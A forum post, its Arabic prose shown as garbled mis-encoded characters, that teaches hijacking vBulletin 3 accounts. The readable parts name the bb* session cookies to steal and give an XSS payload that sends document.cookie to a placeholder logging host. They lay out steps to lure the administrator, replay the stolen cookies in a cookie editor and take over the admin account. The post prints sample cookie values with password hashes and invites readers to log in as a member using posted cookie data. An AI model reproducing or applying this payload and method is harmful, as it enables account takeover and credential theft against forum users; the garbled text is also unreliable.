ÈÓã Çááå ÇáÑÍãä ÇáÑÍíã

Çáíæã ãæÖæÚäÇ íÇÔÈÇÈ Úä ÊÎØí ÇáßæßíÒ Ýí ãäÊÏíÇÊ vb ÇáÌíá ÇáËÇáË vb 3.0

æÇáØÑíÞÉ Óåáå ÌÏÇð æãÇÊÍÊÇÌ ÈÑÇãÌ ÎÇÕå áåÇ

æåí ÔÛÇáå ãÚí ãä Ãæá ãÇ ÙåÑÊ ãäÊÏíÇÊ ÇáÌíá ÇáËÇáË

áßä ÇáØÑíÞå ÍÊì ÊÙÈØ áÇÒã íßæä ãÊæÝÑ ÚäÏß ÇáÈíÇäÇÊ ÇáÊÇáíÉ ÊÈÚ ÇáÚÖæ Çááí ÊÈí ÊÏÎá ÈÍÓÇÈå

(1)

bblastvisit


(2)

bbpassword

(3)

bbuserid

(4)

bblastactivity

(5)

Ãí ÈÑäÇãÌ áÊÍÑíÑ ÇáßæßíÒ

æÑÇÍ ÃÔÑÍ áßã Úáì ÇáÈÑäÇãÌ ÇáãÔåæÑ ÚäÏßã æåæ ****** Editor

ãÚ ÇáÚáã íÇ ÔÈÇÈ Åäå Ãæá ÍÑÝíä ãä :

bblastactivity
bblastvisit
bbpassword
bbuserid


æåä bb ããßä íÊÛíÑæÇ ãä ãäÊÏì áÃÎÑ

áÃäå Úáì ÍÓÈ ãÇæÖÚ Ýí ãáÝ ÇáÜÜ config.php


Çáãåã ÇáÃä ÇáÈíÇäÇÊ åÐí ÊæÝÑåÇ áß ËÛÑÇÊ ÇáÜÜ XSS

íÚäí Çááí ßÇä íÞæá Åä ËÛÑÇÊ ÇáÜ XSS ÛíÑ ÖÇÑå ÑÇÍ íÊÛííÑ ÑÃíå ÈÚÏ åÐÇ ÇáãæÖæÚ

æËÛÑÇÊ ÇáÜ XSS ßËíÑå ÝíåÇ ÇááÐí Êã ÇáÅÚáÇä Úäå æÝíå ÇááÐí áã íÚáä Úäå áÍÏ ÇáÃä

æÍÊì ÇáÅÕÏÇÑ vb 3.0.7 Ýíå ËÛÑÇÊ XSS

æÃÚÊÞÏ Åäßã ÃÚáã áÃäí ÈÇáÝÊÑå ÇáÃÎíÑå ßäÊ ÛíÑ ãæÌæÏ

Çáãåã ÑÇÍ ÃØÈÞ áßã ÇáÃä Úáì ãäÊÏÇí ÈÅÍÏì ËÛÑÇÊ ÇáÜÜ XSS ÞÈá ÅÛáÇÞåÇ

æÇÎÊÑÊ ÃÎæí ÓÚæÏí ááÊØÈíÞ Úáíå ÈÚÏ ÇáÅÓÊÆÐÇä ãäå ØÈÚÇð

ÇáÔÑÍ :

( ØÑíÞÉ ÊÎØí ÇáßæßíÒ Ýí ãäÊÏíÇÊ VB ÇáÌíá ÇáËÇáË )

1- ÇÚÑÝ ÇÓã ÇáãÔÑÝ ÇáÚÇã æÓÌá ÈÇÓã ÞÑíÈ ãäå Ëã äÔØ ÍÓÇÈß .

2- ÃÑÓá ÑÓÇáå ááãÔÑÝ ÇáÚÇã Ãæ ßíÝãÇ ßÇäÊ ØÑíÞÉ ËÛÑÉ ÇáÜÜ XSS

ÈÚÏ ÑÈØ ÇááæÌ ÊÈÚß ÈåÇ ÃßíÏ .

æåÐÇ ãËÇá áÅÓÊÎÏÇã ÇáËÛÑå Çáí ÇßÊÔÝåÇ ÇáÝÑíÞ ÇáÑæÓí Securitylab



ßæÏ PHP:
mailto:assss@wew.ew ]sssssss[/url]` style=`background:url(javaSCrip t:document.images[1].src="htt"+"p"+":"+"/"+"/"+"AAA.com/xss/the-log.php?ksa="+document.******)`


ãÚ ÇÓÊÈÏÇá

AAA.com/xss/the-log.php?ksa

ÈÑÇÈØ ÇááæÌ ÊÈÚß

æááãÚáæãíå íÇ ÔÈÇÈ ãÇÑÇÍ äÊßáã Ýí ÇáãæÖæÚ åÐÇ Úä ÇÓÊÎÏÇã ËÛÑÇÊ ÇáÜ XSS

áÃäå ãæ ãæÖæÚäÇ æáÃäå Óåá æÔÑÍ Ýí ÃßËÑ ãä ãäÊÏì.

3- ÓæÝ ÊÕáß ÈíÇäÇÊ ÇáßæßíÒ ÈãËá åÐÇ ÇáÔßá :

bblastactivity:1116521294
bblastvisit:1113986344
bbpassword:9c7ddb9e7f5e41f96896535509e8ca55
bbuserid:311

4- ÇáÃä ÃäÊ Ýí ÇáÕÝÍå ÇáÑÆíÓíå ááãäÊÏì Þã ÈÝÊÍ ÈÑäÇãÌ ÊÍÑíÑ ÇáßæßíÒ ****** Editor

æÇÈÍË Úä ÈíÇäÇÊ ÇáßæßíÒ ÊÈÚß æÇáÎÇÕå ÈÇáãäÊÏì Çááí ÓÌáÊ Ýíå

íÚäí ÃäÇ ÑÇÍ ÃÈÍË ÈÇÓã ãæÞÚí lezr

ÔæÝ ÇáÃä ÇáÕæÑå åÐí åí ÈíÇäÇÊ ÇáßæßíÒ ÊÈÚí



æãËá ãäÊæÇ ãáÇÍÙíä ÃäÇ ÓÌáÊ ÈÇÓã ÔÈææÍ æåæ ÇÓã ÞÑíÈ ãä ÇÓã ÓÚæÏí æÑÞã ÚÖæíÊí åæ 4564

æÃíÖÇð ÃßíÏ áÇÍÙÊæÇ Åäå Ãæá ÍÑÝíä ãä :

bblastactivity
bblastvisit
bbpassword
bbuserid

åä ap áÃäå ãËá ãÇÞáÊ áßã Úáì ÍÓÈ ãÇæÖÚ Ýí ãáÝ ÇáÜÜ config.php


ÇáÃä Þã ÈÇÓÊÈÏÇá ÇáÈíÇäÇÊ ÇáÊí ÃãÇãß ÈÇáÈíÇäÇÊ ÇááÊí ÍÕáÊ ÚáíåÇ ÈÇÓÊÎÏÇã ÅÍÏì ËÛÑÇÊ ÇáÜÜ XSS æåí :

bblastactivity
bblastvisit
bbpassword
bbuserid

æÃßíÏ ßáßã íÚÑÝ ÇáØÑíÞå æááí ãÇíÚÑÝ Þã ÈÇáÖÛØ ÈÒÑ ÇáÝÃÑå ÇáÃíãä æÇÎÊÑ Edit ******

ÇáÃä ÃäÇ ÞãÊ ÈÇÓÊÈÏÇá ÇáÈíÇäÇÊ

Ëã ÚãáÊ ÊÍÏíË áÈÑäÇãÌ ÇáßæßíÒ ****** Editor .

5- Þã ÈÅÛáÇÞ ÕÝÍÉ ÇáãäÊÏì Ëã Þã ÈÝÊÍ ÕÝÍå ÌÏíÏå æÇÏÎá ááãäÊÏì .

6- ãÈÑæß ÃäÊ ÇáÇä ÇáãÔÑÝ ÇáÚÇã .


æÔæÝæÇ ÊØÈíÞí ÃäÇ ÇáÇä ÇáãÑÇÞÈ ÇáÚÇã ãÕÑì



æíÇ ÔÈÇÈ ãæ ãÚäÇåÇ ÅÐÇ ãÇÞÏÑÊæÇ ÊÏÎáæä Úáì áæÍÉ ÇáÊÍßã ãÇ ÊÞÏÑæä ÊÚãáæä ÔíÁ !

áÇ ÛáØ ÇáÃä ÅäÝÊÍ ÈÇÈ ÌÏíÏ ÃãÇãßã ßá Çááí Úáíßã Åäßã ÊÔÛáæä ÚÞæáßã Ôæí .

æÝíå ÍÇÌå ÃÓÇÓíå íÇÔÈÇÈ ÍÊì ÊÙÈØ ÇáØÑíÞå æåí ÇáÓÑÚå

íÚäí Ãæá ãÇÊÍÕá ÇáãÚáæãÇÊ ØÈÞ Úáì Øæá .

æÈßÐÇ ÅäÊåì ÇáãæÖæÚ æáÃí ÓÄÇá Ýíå ÃäÇ ÌÇåÒ

æááÊØÈíÞ íÇÔÈÇÈ åÐí ÈíÇäÇÊ ÚÖæ ÌÏíÏ ÞãÊ ÈÊÓÌíáå Ýí ÇáãäÊÏì æÊäÔíØå

aplastvisit:1113744786
aplastactivity:1113761294
appassword:07e67efbb64e643bb7b48c6b1dd4a497
apuserid:4565

æÇáÚÖæ ÇÓãå ÈÇááÛå ÇáÚÑÈíå æãä 5 ÃÍÑÝ

ÇáÃä ÃÈÛì ÃÔæÝ ÊØÈíÞßã ÃÈÛÇßã ÊÏÎáæä ÈÇÓã ÇáÚÖæ æÇááí íÚÑÝ ÇÓã ÇáÚÖæ

æÇÓã ÈÑíÏå ãÚäÇåÇ Åäå ØÈÞ ÇáØÑíÞÉ ÊãÇã

æãÚäÇåÇ Åä ÔÑÍí ÕÍíÍ æÇáÍãÏ ááå æÅä ÇáÃÑÇÁ Çááí ÓãÚäÇåÇ ÈÅäå íÓÊÍíá ÇáÊÍÇíá

Úáì ÇáßæßíÒ Ýí ãäÊÏíÇÊ ÇáÌíá ÇáËÇáË Ãæ Åäå áåÇ ÈÑäÇãÌ ÎÇÕ ÛíÑ ÕÍíÍå .

æíÇááå íÇÔÈÇÈ ÃÈÛÇßã ßáßã ÊØÈÞæä æÃÖãä áßã ÈÅÐä Çááå Åäßã ÑÇÍ ÊØÈÞæä ÇáØÑíÞå ÊãÇã

æÅä ãÇÙÈØÊ ÚÔÇßã Çááíáå Åä ÔÇÁ Çááå ÚäÏ ÏíÒá